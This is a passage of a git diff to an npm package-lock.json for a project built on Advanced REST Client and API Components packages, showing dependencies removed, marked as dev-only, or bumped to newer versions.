"@anypoint-web-components/anypoint-input": "^0.2.25", - "@anypoint-web-components/anypoint-switch": "^0.1.9", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "@api-components/api-form-mixin": "^3.1.3", - "@api-components/api-property-form-item": "^3.0.16", - "@api-components/api-view-model-transformer": "^4.2.2", - "@polymer/iron-form": "^3.0.1", - "@polymer/paper-toast": "^3.0.1", - "@polymer/prism-element": "^3.0.1", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1", - "prismjs": "^1.20.0" - } - }, - "@advanced-rest-client/multipart-payload-transformer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/multipart-payload-transformer/-/multipart-payload-transformer-3.0.0.tgz", - "integrity": "sha512-P3uejpZL7SBSCvkruwlKKTtfmkPUuKK5CKO92Tbgq7Tscb1bmZQ9jYxeS2XfroDiG0It2zyJqFoXIwSSOLwpoA==", - "requires": { - "lit-element": "^2.2.1" - } - }, - "@advanced-rest-client/oauth-authorization": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/oauth-authorization/-/oauth-authorization-5.0.6.tgz", - "integrity": "sha512-JBp1QDtLVfJK9XsvIK60CTs7unZBa2i+MBHzMqGhqIsUJ1mw60GuuJ8MqzDZQGAhKC0X4HhkmosygbkiVRRVvw==", - "requires": { - "@advanced-rest-client/arc-events": "^0.2.17", - "@advanced-rest-client/arc-types": "^0.2.52", - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@advanced-rest-client/headers-parser-mixin": "^3.2.0", - "@polymer/iron-meta": "^3.0.0", - "lit-element": "^2.5.1" - } - }, - "@advanced-rest-client/payload-parser-mixin": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/payload-parser-mixin/-/payload-parser-mixin-3.0.1.tgz", - "integrity": "sha512-pI7hbYplxaGqEscdO1SzcMc4uPp2meVJ2PNjUvj8+B6Dt8RFQ0FnKapLzDtlhgoVzpHK1DV6vE+5ozayGqG4Kg==", - "requires": { - "@polymer/polymer": "^3.4.1" - } - }, "@advanced-rest-client/pouchdb-mapreduce-no-ddocs": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/pouchdb-mapreduce-no-ddocs/-/pouchdb-mapreduce-no-ddocs-3.0.3.tgz", "integrity": "sha512-5gqGWnlLQxLJov/6WE7iuz/LOE0xZJcRI7o2lnxBVore3sj+F3R4OjRjiL8wiZvykEMSdX7Qy+BhFMUrKMvWSw==", + "dev": true, "requires": { "inherits": "2.0.1", "pouchdb-binary-utils": "6.4.3", @@ -490,13 +343,26 @@ "spark-md5": "2.0.2" }, "dependencies": { + "inherits": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", + "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", + "dev": true + }, "pouchdb-promise": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz", "integrity": "sha512-ruJaSFXwzsxRHQfwNHjQfsj58LBOY1RzGzde4PM5CWINZwFjCQAhZwfMrch2o/0oZT6d+Xtt0HTWhq35p3b0qw==", + "dev": true, "requires": { "lie": "3.1.1" } + }, + "spark-md5": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz", + "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc=", + "dev": true } } }, @@ -504,6 +370,7 @@ "version": "2.0.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/pouchdb-quick-search/-/pouchdb-quick-search-2.0.3.tgz", "integrity": "sha512-nOJo7AT037UTPQY5CFiVqk4NucwjNiPGWyF/QU8dXPqyK2ZgxjiN/wyRzcpLvIYj6MO2JepQFdfW8nx35cJxXw==", + "dev": true, "requires": { "@advanced-rest-client/pouchdb-mapreduce-no-ddocs": "^3.0.0", "json-stable-stringify": "^1.0.1", @@ -514,40 +381,17 @@ "uniq": "^1.0.1" } }, - "@advanced-rest-client/prism-highlight": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/prism-highlight/-/prism-highlight-4.1.3.tgz", - "integrity": "sha512-o0lxDi6+Tt4e3tsJ11cCuVWPT+R4yj97ZCyME6oRuJopwQoOkY2t2V3SMfL2yQqtXvU9MD5t73wVPnBMEeCW2Q==", - "requires": { - "@advanced-rest-client/arc-events": "^0.2.17", - "lit-element": "^2.5.1", - "prismjs": "^1.23.0" - } - }, - "@advanced-rest-client/raw-payload-editor": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/raw-payload-editor/-/raw-payload-editor-3.0.6.tgz", - "integrity": "sha512-c6uZRDHfOKn90vY+FC3xsvEmmD5j91gtSTVWwDQOWp4HMF4GEP4huS6oTjXsLxdF15fifIBmnI1cF+BIrCf+bg==", - "requires": { - "@advanced-rest-client/arc-resizable-mixin": "^1.0.0", - "@advanced-rest-client/code-mirror": "^3.0.3", - "@advanced-rest-client/code-mirror-linter": "^3.0.0", - "@advanced-rest-client/events-target-mixin": "^3.0.0", - "@advanced-rest-client/payload-parser-mixin": "^3.0.0", - "@anypoint-web-components/anypoint-button": "^1.0.12", - "@polymer/paper-toast": "^3.0.0", - "lit-element": "^2.2.1" - } - }, "@advanced-rest-client/uuid-generator": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/uuid-generator/-/uuid-generator-3.1.2.tgz", - "integrity": "sha512-eP3Yo04FiQao7mPEhG37ESG1zYNB5uQ03dB3FlCvaZoUs4qGduBr7SRHdFENcGJlxCkwhY0QVKFfuaZZValPTA==" + "integrity": "sha512-eP3Yo04FiQao7mPEhG37ESG1zYNB5uQ03dB3FlCvaZoUs4qGduBr7SRHdFENcGJlxCkwhY0QVKFfuaZZValPTA==", + "dev": true }, "@anypoint-web-components/anypoint-autocomplete": { "version": "0.2.12", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-autocomplete/-/anypoint-autocomplete-0.2.12.tgz", "integrity": "sha512-jIANGgT2Nxt529RTKB9326q2ozEssOqAib75mpBsSie/Kv+em2o+egdcSt1oSswBgeF3TGIuX6ITTzPLH5mKTw==", + "dev": true, "requires": { "@anypoint-web-components/anypoint-dropdown": "^1.1.6", "@anypoint-web-components/anypoint-item": "^1.1.2", @@ -569,6 +413,7 @@ "version": "1.2.2", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-checkbox/-/anypoint-checkbox-1.2.2.tgz", "integrity": "sha512-GF3fLPB7AUUEcnf5ypVGvRc0o9URhE6kxv8NuOl6x+xpVaQCrcM6BYs0S5aPOcH546AidZN4o0SbjPkotE2zlA==", + "dev": true, "requires": { "@anypoint-web-components/anypoint-control-mixins": "^1.2.0", "@anypoint-web-components/anypoint-form-mixins": "^1.3.0", @@ -597,6 +442,7 @@ "version": "0.1.9", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dialog/-/anypoint-dialog-0.1.9.tgz", "integrity": "sha512-wFouJSZ0K+n86SpZHBxEx8Lzo3I91LAoXH7JwiTJacsSdYq9VBHmo99yU9Hs45JFxPZFH7LlEdl2wR80RU9Rzg==", + "dev": true, "requires": { "@advanced-rest-client/arc-overlay-mixin": "^1.2.0", "@open-wc/dedupe-mixin": "^1.3.0", @@ -676,6 +522,7 @@ "version": "0.1.5", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-menu-button/-/anypoint-menu-button-0.1.5.tgz", "integrity": "sha512-sZKu3qLbRrGX9RMxKayS9jS41eTmaktYQXsrR9v32MbenMyI+FJ0IIZEidxSq5WFbYoLYih/iCaK57sFMepr9g==", + "dev": true, "requires": { "@anypoint-web-components/anypoint-control-mixins": "^1.1.3", "@anypoint-web-components/anypoint-dropdown": "^1.1.4", @@ -728,6 +575,7 @@ "version": "0.1.10", "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-switch/-/anypoint-switch-0.1.10.tgz", "integrity": "sha512-EXE+6nF52TBOcx8sXDLmVmR9jliZzsG3zsPm6BFbWLofO0E6ZqPy7y6+yhyaIMCyl8M5GZWE9n+w7oyDQvELxQ==", + "dev": true, "requires": { "@anypoint-web-components/anypoint-control-mixins": "^1.2.0", "@anypoint-web-components/anypoint-form-mixins": "^1.3.0", @@ -778,6 +626,7 @@ "version": "0.2.0", "resolved": "https://registry.npmjs.org/@api-client/har/-/har-0.2.0.tgz", "integrity": "sha512-WKkhEClrlo5oNAzVPfRDaR002PiXZvdS80Qb/1rJfh9TBdTDogQxx6pi5Oyp5gxFzOJ8wIoJEsaNzAlPIJxGgg==", + "dev": true, "requires": { "@advanced-rest-client/arc-cookies": "^0.2.0", "@advanced-rest-client/arc-events": "^0.2.14", @@ -793,244 +642,13 @@ } }, "@api-components/amf-helper-mixin": { - "version": "4.5.1", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.1.tgz", - "integrity": "sha512-75YrgigjI91LMZXKh9b+K1RT7m7rGv+LbMcBE0DH/T2zItoIv7FYX0NN9mIscBEaUKkqYumWIUnArztmACuEJA==", + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.4.tgz", + "integrity": "sha512-puEsYn2FG3DmxStkqWt43dlBqruKjli33BDyUSJbkAh3UW9Z4lDvKBMjLvHN1m9DN5seBZlxnz/UykVq2s3TgQ==", "requires": { "amf-json-ld-lib": "0.0.14" } }, - "@api-components/api-annotation-document": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@api-components/api-annotation-document/-/api-annotation-document-4.2.0.tgz", - "integrity": "sha512-xNnwarmg4RqoEXXplbhf6IN225y/q30IpjG+PWkf6VbbUAUdiD1rGeXvctMxValbwVTQngbUR5tYtcmGKSUghA==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@api-components/amf-helper-mixin": "^4.3.6", - "lit-element": "^2.2.1", - "lit-html": "^1.1.2" - } - }, - "@api-components/api-authorization": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/@api-components/api-authorization/-/api-authorization-0.6.3.tgz", - "integrity": "sha512-gDVsZS/+ctKBSR5m6o9fWBwQ6FY6eVbPdVpz7H96U4FK1pnmtyU7zOwXiJk+W+RSKXM0WpPWpVr5bXa/9y0Lcw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@advanced-rest-client/arc-marked": "^1.1.0", - "@advanced-rest-client/arc-types": "^0.2.47", - "@advanced-rest-client/authorization": "^0.1.0", - "@advanced-rest-client/events-target-mixin": "^3.1.1", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.14", - "@anypoint-web-components/anypoint-item": "^1.0.5", - "@anypoint-web-components/anypoint-listbox": "^1.0.4", - "@api-components/amf-helper-mixin": "^4.4.0", - "@api-components/api-forms": "^0.2.1", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1" - } - }, - "@api-components/api-body-document": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/@api-components/api-body-document/-/api-body-document-4.4.3.tgz", - "integrity": "sha512-j6sXpIlfyFVZNMofK1oCfSyUZYFOzxV5UufMYR89Fqccbqe06b5igjaTAshGKtapvxYJLeVEy6lXes+mQ9iXRg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-resource-example-document": "^4.2.0", - "@api-components/api-schema-document": "^4.3.0", - "@api-components/api-type-document": "^4.2.5", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@api-components/api-body-editor": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/@api-components/api-body-editor/-/api-body-editor-4.0.7.tgz", - "integrity": "sha512-/EIAI1PjOV/BOWSoNxQxW6D6sq9SyzHP2BtdFOcmJT2Av25DPBJInfn2LVIwryRhsESnzhYJYtDj/MQ6rVzcow==", - "requires": { - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/content-type-selector": "^3.2.0", - "@advanced-rest-client/events-target-mixin": "^3.1.1", - "@advanced-rest-client/files-payload-editor": "^3.0.4", - "@advanced-rest-client/form-data-editor": "^3.0.7", - "@advanced-rest-client/multipart-payload-editor": "^4.1.1", - "@advanced-rest-client/raw-payload-editor": "^3.0.6", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.14", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.0.4", - "@api-components/amf-helper-mixin": "^4.3.9", - "@api-components/api-example-generator": "^4.4.8", - "@api-components/api-form-mixin": "^3.0.4", - "@api-components/api-view-model-transformer": "^4.0.3", - "@api-components/raml-aware": "^3.0.0", - "lit-element": "^2.5.1", - "lit-html": "^1.4.1" - } - }, - "@api-components/api-documentation-document": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/@api-components/api-documentation-document/-/api-documentation-document-4.1.0.tgz", - "integrity": "sha512-mN0V1npyDAzQPETFzLsE3ls/TrIKYJ719IwzZw39v/8ZMDdN9ejEdpB3gp2FnZcNyj8+lm+v0dQAJdb/9/dlLQ==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@api-components/amf-helper-mixin": "^4.3.6", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-endpoint-documentation": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/@api-components/api-endpoint-documentation/-/api-endpoint-documentation-6.0.2.tgz", - "integrity": "sha512-vOz7dwOq7qMhpD1H+ROHrI3to2KCHPJE+DEUadfHgiAZgwCozaxwdYB4BSaRR1arBWq2EpmtE59IErSFIvLvZg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/arc-marked": "^1.0.6", - "@advanced-rest-client/clipboard-copy": "^3.0.1", - "@advanced-rest-client/http-code-snippets": "^3.2.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-annotation-document": "^4.0.3", - "@api-components/api-example-generator": "^4.4.7", - "@api-components/api-method-documentation": "^5.1.10", - "@api-components/api-parameters-document": "^4.0.5", - "@api-components/api-request": "^0.1.8", - "@api-components/http-method-label": "^3.1.3", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1" - }, - "dependencies": { - "@api-components/api-request": { - "version": "0.1.20", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.1.20.tgz", - "integrity": "sha512-KYozwxKFKIgBIWmLlNXOaixTPxTWj8Bf1T66L5lTtizP1DLNwc5ggFolfIzcwjc0yFMUCAt0rXPiFSFkLAbRDA==", - "requires": { - "@advanced-rest-client/arc-events": "^0.2.13", - "@advanced-rest-client/arc-headers": "^0.1.7", - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/arc-response": "^0.3.3", - "@advanced-rest-client/arc-types": "^0.2.47", - "@advanced-rest-client/arc-url": "^0.2.1", - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@advanced-rest-client/http-method-selector": "^3.0.5", - "@advanced-rest-client/oauth-authorization": "^5.0.5", - "@advanced-rest-client/uuid-generator": "^3.1.1", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@api-components/amf-helper-mixin": "^4.3.4", - "@api-components/api-authorization": "^0.6.1", - "@api-components/api-body-editor": "^4.0.5", - "@api-components/api-forms": "^0.2.1", - "@api-components/api-headers": "^0.1.0", - "@api-components/api-server-selector": "^0.6.3", - "@api-components/api-url": "^0.1.1", - "cryptojslib": "^3.1.2", - "jsrsasign": "^10.1.11", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - } - } - }, - "@api-components/api-example-generator": { - "version": "4.4.14", - "resolved": "https://registry.npmjs.org/@api-components/api-example-generator/-/api-example-generator-4.4.14.tgz", - "integrity": "sha512-sAzmTRZbJmw3lQSalyrdM9I0/ofX/7NmtBf7REPY0XzsAdgidX0BLxyg2U6tfa+HIs9gvg6eSFft38K9+udp1w==", - "requires": { - "@api-components/amf-helper-mixin": "^4.1.8", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-form-mixin": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@api-components/api-form-mixin/-/api-form-mixin-3.1.4.tgz", - "integrity": "sha512-+GjkRtFbLNgi3xOpdJeqf+7gmtL/Tj8gWc+YV7UvYAKdRRS5/6uGoUlAwxwmOKK5jQH9Fu5nkseZlVBNPlFuPw==", - "requires": { - "@api-components/api-view-model-transformer": "^4.2.2", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-forms": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@api-components/api-forms/-/api-forms-0.2.4.tgz", - "integrity": "sha512-Ey/vcNKWxKC0jeSK7aHLBRhS81auYa+Q7+e1VkPonmvt2Xu2EQFXtGIeIo0qNCMB640yMbh8L+sWvm6sbHNzKg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.3", - "@advanced-rest-client/arc-types": "^0.2.53", - "@anypoint-web-components/anypoint-button": "^1.2.2", - "@anypoint-web-components/anypoint-checkbox": "^1.2.1", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", - "@anypoint-web-components/anypoint-input": "^0.2.26", - "@anypoint-web-components/anypoint-item": "^1.1.2", - "@anypoint-web-components/anypoint-listbox": "^1.1.7", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "@api-components/amf-helper-mixin": "^4.4.1", - "@api-components/api-example-generator": "^4.4.14", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.5.1", - "lit-html": "^1.4.1" - } - }, - "@api-components/api-headers": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@api-components/api-headers/-/api-headers-0.1.3.tgz", - "integrity": "sha512-lZWiZGKq38oTJk32sfQ0pmI+rdr0Ut3hrWRVrhGiys5HycdabLIoHE1ahJ9B2TaJ5T1yRuoth2V4S6vzqPDCtg==", - "requires": { - "@advanced-rest-client/arc-headers": "^0.1.7", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-switch": "^0.1.4", - "@api-components/amf-helper-mixin": "^4.3.2", - "@api-components/api-forms": "^0.2.0", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@api-components/api-headers-document": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/@api-components/api-headers-document/-/api-headers-document-4.2.3.tgz", - "integrity": "sha512-enWtyo0hN1fRFz/MKjY0B0CCcTRj/wKRR9KOwPh6p6SrxRHrlqstuQGU4o1MeBxmGzdASlALQ5jRf95MVts7ug==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.1", - "@api-components/api-type-document": "^4.2.5", - "lit-element": "^2.2.1" - } - }, - "@api-components/api-method-documentation": { - "version": "5.2.5", - "resolved": "https://registry.npmjs.org/@api-components/api-method-documentation/-/api-method-documentation-5.2.5.tgz", - "integrity": "sha512-H1F1/IenVD3hefb8DRSAcFIn/Ma9qIoz1dOT785xjeb7jwMOo6b09ikjB9m7aIomcBSREsehNrB3TlFjl6B6Zg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/http-code-snippets": "^3.2.2", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-annotation-document": "^4.2.0", - "@api-components/api-body-document": "^4.3.1", - "@api-components/api-example-generator": "^4.4.8", - "@api-components/api-headers-document": "^4.2.0", - "@api-components/api-parameters-document": "^4.1.1", - "@api-components/api-responses-document": "^4.2.0", - "@api-components/api-security-documentation": "^4.1.0", - "@api-components/http-method-label": "^3.1.4", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, "@api-components/api-model-generator": { "version": "0.2.14", "resolved": "https://registry.npmjs.org/@api-components/api-model-generator/-/api-model-generator-0.2.14.tgz", @@ -1042,9 +660,9 @@ } }, "@api-components/api-navigation": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/@api-components/api-navigation/-/api-navigation-4.3.1.tgz", - "integrity": "sha512-YO2Crj7sSWPlijJ1vRVezIOLOb+j/4HfUKmjxnPIDIcLzibzMCA8tTvYRpD89ZpV2D9w6TnEEgWkrFzM8OAnMw==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@api-components/api-navigation/-/api-navigation-4.3.2.tgz", + "integrity": "sha512-t9F0FSpRG6st05ogSeEyEbOaliEg0GQL3tkEmgDOmgd52HHK5aaaaVLGwG2FVRwQYq9VzCr1aasWNDgquBwBlQ==", "dev": true, "requires": { "@advanced-rest-client/arc-icons": "^3.2.2", @@ -1057,218 +675,65 @@ "lit-html": "^1.2.1" } }, - "@api-components/api-parameters-document": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/@api-components/api-parameters-document/-/api-parameters-document-4.1.3.tgz", - "integrity": "sha512-zjQCO5MMMgQ5kIMe/uSFU+0OUeVsBd5dRYCNtVpe7hjTEMcPi1C9sKLKrb6sVGQxaEuHzZfuomFMXEmWbKoWFw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/api-type-document": "^4.2.5", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@api-components/api-property-form-item": { - "version": "3.0.16", - "resolved": "https://registry.npmjs.org/@api-components/api-property-form-item/-/api-property-form-item-3.0.16.tgz", - "integrity": "sha512-g8YedLwhS5JWVX5/ilGQ6WrW6O8bJADXXcbcr5erEFzBxpPo2iENwlQuow03QSmYBsHGrfpJ4SvMh15xp8tw9w==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-checkbox": "^1.1.3", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-input": "^0.2.23", - "@anypoint-web-components/anypoint-item": "^1.0.8", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, "@api-components/api-request": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.2.1.tgz", - "integrity": "sha512-iCYu0lXbOSslheD5GU6f6d4U9kvpFOIpa8dcHp6EvpG29mVMX6grUkrQ4i6Oc7i7/xiicSUk3YX3IkC8ieOCLg==", + "version": "0.3.0-beta.1", + "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.1.tgz", + "integrity": "sha512-a4AoPP1L9tA9itKesp/FrgPge+ujUVcngIb4cPGQygLU/zj+hmih29yv1TrRg/8kq2WqQ51CRDhyzrQ2d6ro9g==", "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.13", "@advanced-rest-client/arc-headers": "^0.1.7", - "@advanced-rest-client/arc-icons": "^3.3.1", + "@advanced-rest-client/arc-icons": "^3.3.4", "@advanced-rest-client/arc-response": "^0.3.3", "@advanced-rest-client/arc-types": "^0.2.47", "@advanced-rest-client/arc-url": "^0.2.1", + "@advanced-rest-client/authorization": "^0.2.3", + "@advanced-rest-client/body-editor": "^0.2.5", "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@advanced-rest-client/http-method-selector": "^3.0.5", - "@advanced-rest-client/oauth-authorization": "^5.0.5", + "@advanced-rest-client/highlight": "^1.1.1", "@advanced-rest-client/uuid-generator": "^3.1.1", "@anypoint-web-components/anypoint-button": "^1.1.1", + "@anypoint-web-components/anypoint-checkbox": "^1.2.2", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-input": "^0.2.27", "@anypoint-web-components/anypoint-item": "^1.1.0", - "@api-components/amf-helper-mixin": "^4.3.4", - "@api-components/api-authorization": "^0.6.1", - "@api-components/api-body-editor": "^4.0.5", - "@api-components/api-forms": "^0.2.1", - "@api-components/api-headers": "^0.1.0", - "@api-components/api-server-selector": "^0.6.3", - "@api-components/api-url": "^0.1.1", - "cryptojslib": "^3.1.2", - "jsrsasign": "^10.1.11", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@anypoint-web-components/anypoint-radio-button": "^0.1.6", + "@anypoint-web-components/anypoint-switch": "^0.1.10", + "@api-components/amf-helper-mixin": "^4.5.4", + "@api-components/api-schema": "^0.1.1", + "@api-components/api-server-selector": "^0.7.1", + "@open-wc/dedupe-mixin": "^1.3.0", "lit-element": "^2.4.0", "lit-html": "^1.3.0" } }, - "@api-components/api-resource-example-document": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/@api-components/api-resource-example-document/-/api-resource-example-document-4.3.3.tgz", - "integrity": "sha512-vynbhryGUHmfAPJpR5HsD5tmGbtfNgrgsT6Hxoik5CqUVyOk84GjVp5HyU4V19ZYsmThSOUi7agMjUQQ6LI6pw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@advanced-rest-client/arc-types": "^0.2.50", - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/json-table": "^3.2.0", - "@advanced-rest-client/prism-highlight": "^4.0.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-example-generator": "^4.4.13", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-responses-document": { - "version": "4.2.5", - "resolved": "https://registry.npmjs.org/@api-components/api-responses-document/-/api-responses-document-4.2.5.tgz", - "integrity": "sha512-9BB++bZXbm5ywKnIHnS7inez159BH+uuRnSWdyHtShqnoQAUeRMnW9xxCyCe1okt8ZupgCJXiMY+QqArh3et5g==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.0", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-tabs": "^0.1.13", - "@api-components/amf-helper-mixin": "^4.5.1", - "@api-components/api-annotation-document": "^4.1.0", - "@api-components/api-body-document": "^4.2.1", - "@api-components/api-headers-document": "^4.2.0", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-schema-document": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/@api-components/api-schema-document/-/api-schema-document-4.3.0.tgz", - "integrity": "sha512-0bmLl0jevJ2Is/cY+Iq5UYeUkt6/sCrz4QjlR6vlfdHPGgBUgW31aeUgSYXt1DwqqmksJa8LWAuCxksrNzSNYw==", + "@api-components/api-schema": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.1.tgz", + "integrity": "sha512-5AjTMXd7xligIfXPzQolSFd4xXMZBhAhGBMLzGK6Sm+CMwP4aXAXT6C2pO3BZdnj/Ma8uc/d/fwtmBMKCA1xoQ==", "requires": { - "@advanced-rest-client/arc-types": "^0.2.50", - "@advanced-rest-client/prism-highlight": "^4.1.0", - "@anypoint-web-components/anypoint-tabs": "^0.1.13", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-example-generator": "^4.4.8", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-security-documentation": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/@api-components/api-security-documentation/-/api-security-documentation-4.1.1.tgz", - "integrity": "sha512-pnXi80xU8LM/Pi2hIv5ICkWi4VfJ+lZ8zUfDQgHVaDjVYyUrCLcvipX2XacvYdpskEPn/U+5/pi9yO2B54OrPw==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-annotation-document": "^4.2.0", - "@api-components/api-headers-document": "^4.2.0", - "@api-components/api-parameters-document": "^4.1.1", - "@api-components/api-responses-document": "^4.2.0", - "lit-element": "^2.4.0" + "@api-components/amf-helper-mixin": "^4.5.4", + "@pawel-up/data-mock": "^0.1.7" } }, "@api-components/api-server-selector": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/@api-components/api-server-selector/-/api-server-selector-0.6.4.tgz", - "integrity": "sha512-76hYqAsQ2tpOAhlSOi4m4KWqtoZheJPOTXadqeeAyFR/PYzkmPKugsjlP12SbuF7spierQxE8fVgBHqotGB1jg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@anypoint-web-components/anypoint-button": "^1.0.15", - "@anypoint-web-components/anypoint-dropdown": "^1.1.2", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.16", - "@anypoint-web-components/anypoint-input": "^0.2.14", - "@anypoint-web-components/anypoint-item": "^1.0.5", - "@anypoint-web-components/anypoint-listbox": "^1.0.4", - "@api-components/amf-helper-mixin": 